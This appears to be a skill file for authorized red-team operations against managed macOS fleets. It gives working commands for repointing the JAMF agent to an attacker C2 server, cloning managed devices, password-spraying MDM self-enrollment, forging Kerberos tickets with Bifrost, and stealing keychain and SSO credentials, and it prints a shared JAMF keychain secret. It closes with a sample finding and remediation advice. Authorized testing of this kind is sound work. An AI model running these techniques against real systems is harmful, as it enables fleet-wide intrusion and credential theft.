name: performing-macos-red-teaming description: Conducting red team operations against macOS fleets during authorized engagements by abusing MDM platforms (JAMF, Kandji), MDM enrollment trust, Active Directory integration, the macOS Keychain, OneLogin/SSO-linked external services, and Safari auto-open behavior to move laterally and establish command-and-control across managed Macs. domain: cybersecurity subdomain: macos-security tags:
- penetration-testing
- macos
- red-teaming version: '1.0' author: xalgorix license: Apache-2.0
Performing macOS Red Teaming
When to Use
- During authorized red team engagements targeting an enterprise macOS fleet
- When the environment uses an MDM (JAMF Pro, Kandji) for device management and software distribution
- When Macs are bound to Active Directory or use SSO/OneLogin to reach external services (GitHub, AWS)
- When you have a foothold on one Mac and need to pivot, harvest credentials, or reach C2
- macOS red teaming differs from Windows: Macs are often integrated directly with external SaaS platforms
Critical: Techniques Most Often Missed
1. JAMF JSS URL hijack → turn MDM into C2
jamf reads its JSS server URL from /Library/Preferences/com.jamfsoftware.jamf.plist. A malicious package that overwrites this file can repoint the agent at an attacker-controlled listener (e.g., a Mythic/Typhon C2), turning legitimate management traffic into C2.
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist | rg jss_url
# after overwriting the URL, force a check-in:
sudo jamf policy -id 0
How to CONFIRM: read jss_url; verify jamf persists as a LaunchDaemon at /Library/LaunchAgents/com.jamf.management.agent.plist; a forced jamf policy reaches your listener.
2. Impersonating device ↔ JAMF communication
To impersonate a managed device you need the hardware UUID and the JAMF keychain holding the device cert.
ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $(NF-1)}'
ls -l /Library/Application\ Support/Jamf/JAMF.keychain
Build a VM with the stolen hardware UUID and SIP disabled, drop the JAMF keychain, hook the agent, and harvest its data. Note the historic jamf binary keychain secret was shared: jk23ucnq91jfu9aj.
How to CONFIRM: the keychain file exists and the UUID extracts cleanly; the cloned device authenticates to the JSS.
3. Custom-script credential leakage
JAMF stages admin "custom scripts" in /Library/Application Support/Jamf/tmp/ — placed, executed, then removed — and may pass credentials as parameters.
# monitor staged scripts (root) and process args (no root needed)
ls -l /Library/Application\ Support/Jamf/tmp/
ps aux | grep -i jamf
How to CONFIRM: observe a script file appear/disappear or a ps line exposing -username/-password args. JamfExplorer.py automates this.
Workflow
Step 1: Identify the management platform
jamf checkJSSConnection # JAMF reachability
profiles list # installed configuration profiles
profiles status -type enrollment
Look for JAMF, Kandji, or other MDM agents. Check self-enrollment at https://<company>.jamfcloud.com/enroll/.
Step 2: Attack MDM enrollment and self-enrollment
A device adds the MDM's SSL cert as a trusted CA at enrollment, so after enrolling you can sign payloads the device will trust. To enroll you install a mobileconfig as root (deliverable via a pkg, which Safari auto-unzips).
# password-spray self-enrollment with JamfSniper.py, then brute usernames
python3 JamfSniper.py https://<company>.jamfcloud.com
If you compromise MDM admin credentials you can push malware to all managed machines, create local admins, set firmware passwords, or change FileVault keys.
Step 3: Enumerate Active Directory integration
dscl "/Active Directory/[Domain]/All Domains" ls /
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
dsconfigad -show
# users / computers / groups
dscl . ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user
Local user/group data lives in /var/db/dslocal/nodes/Default/ (e.g., users/mark.plist, groups/admin.plist). MacOS users are Local, Network, or Mobile.
Step 4: Kerberos and lateral movement with Bifrost / MacHound
# dump hashes
bifrost --action askhash --username [name] --password [pw] --domain [domain]
# request and inject a TGT
bifrost --action asktgt --username [user] --domain [domain] --hash [hash] --enctype aes256
# request service ticket, then access shares
bifrost --action asktgs --spn [service] --domain [domain] --username [user] --hash [hash] --enctype [enctype]
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
The Computer$ account password is accessible in the System keychain. MacHound adds CanSSH, CanVNC, and CanAE (AppleEvent execution) edges to BloodHound; Orchard (JXA) enumerates AD.
Step 5: Loot the Keychain and SSO-linked services
The login/System keychains likely hold credentials that advance the operation without prompting. macOS fleets commonly use OneLogin-synced credentials to reach GitHub, AWS, etc., so keychain and SSO token theft expands blast radius far beyond the host. Enumerate keychain items and target browser/SSO session material.
Step 6: Abuse Safari auto-open for delivery
Safari auto-opens "safe" downloads: a downloaded zip is automatically decompressed, enabling staged payload delivery (e.g., a zipped pkg/mobileconfig).
Key Concepts
| Concept | Description |
|---|---|
| MDM (JAMF/Kandji) | Central management able to install apps, create admins, set firmware/FileVault — compromise = fleet compromise |
| Enrollment CA trust | Enrolled devices trust the MDM's SSL cert as a CA, letting you sign trusted payloads |
| JSS URL | JAMF server URL in com.jamfsoftware.jamf.plist; overwrite to repoint the agent to C2 |
| Keychain | Stores credentials and device/Computer$ certs; high-value loot, ideally accessed without prompts |
| AD integration | Macs bound to AD; enumerate with dscl, attack Kerberos with Bifrost |
| OneLogin/SSO | macOS often reaches external SaaS via SSO; token theft expands reach |
| Safari auto-open | "Safe" downloads auto-decompress/open, aiding payload delivery |
Tools & Systems
| Tool | Purpose |
|---|---|
| JamfSniper.py / JamfExplorer.py | Self-enrollment password spray; monitor staged scripts and process args (WithSecure Jamf-Attack-Toolkit) |
| MicroMDM | Stand up your own MDM for Apple devices (needs vendor-signed CSR via mdmcert.download) |
| Bifrost | Objective-C Heimdal krb5 interaction for Kerberos hashes/TGT/TGS on macOS |
| MacHound | BloodHound extension adding CanSSH/CanVNC/CanAE edges for macOS AD |
| Orchard | JXA-based Active Directory enumeration |
| dscl / dsconfigad / scutil | Local and AD directory enumeration |
| Mythic (Orthrus/Typhon) | C2 agents; Orthrus uses the MDM-enrollment technique |
Common Scenarios
Scenario 1: JAMF as C2
A malicious pkg overwrites com.jamfsoftware.jamf.plist jss_url to a Mythic listener; sudo jamf policy -id 0 makes the agent beacon to attacker infrastructure.
Scenario 2: Self-enrollment credential spray
/enroll/ is internet-exposed with self-enrollment enabled; JamfSniper.py sprays valid creds, granting access to push configurations.
Scenario 3: AD Kerberos pivot
After harvesting a hash, Bifrost mints a TGT and service tickets, then mount -t smbfs reaches file shares on other domain hosts.
Scenario 4: Keychain + SSO chaining
Keychain extraction yields a OneLogin session that unlocks the org's GitHub and AWS, extending compromise to cloud assets.
Output Format
## macOS Red Team Finding
**Finding**: MDM compromise enabling fleet-wide code execution
**Severity**: Critical (CVSS 9.1)
**Platform**: JAMF Pro (cloud), 420 managed Macs
**Access**: Self-enrollment + harvested admin credentials
### Attack Path
1. Discovered self-enrollment at https://corp.jamfcloud.com/enroll/
2. Password-sprayed with JamfSniper.py -> valid operator account
3. Pushed test policy (custom script) to a pilot smart group
4. Confirmed root execution on enrolled endpoint
### Evidence
| Artifact | Detail |
|----------|--------|
| JSS URL | /Library/Preferences/com.jamfsoftware.jamf.plist |
| Agent persistence | /Library/LaunchAgents/com.jamf.management.agent.plist |
| Staged script | /Library/Application Support/Jamf/tmp/<script> |
### Recommendation
1. Disable public self-enrollment; require device attestation
2. Enforce MFA and least privilege on MDM operator accounts
3. Protect the JAMF keychain and rotate any shared secrets
4. Never pass credentials as script parameters; use secure variables
5. Monitor com.jamfsoftware.jamf.plist integrity and unexpected check-in URLs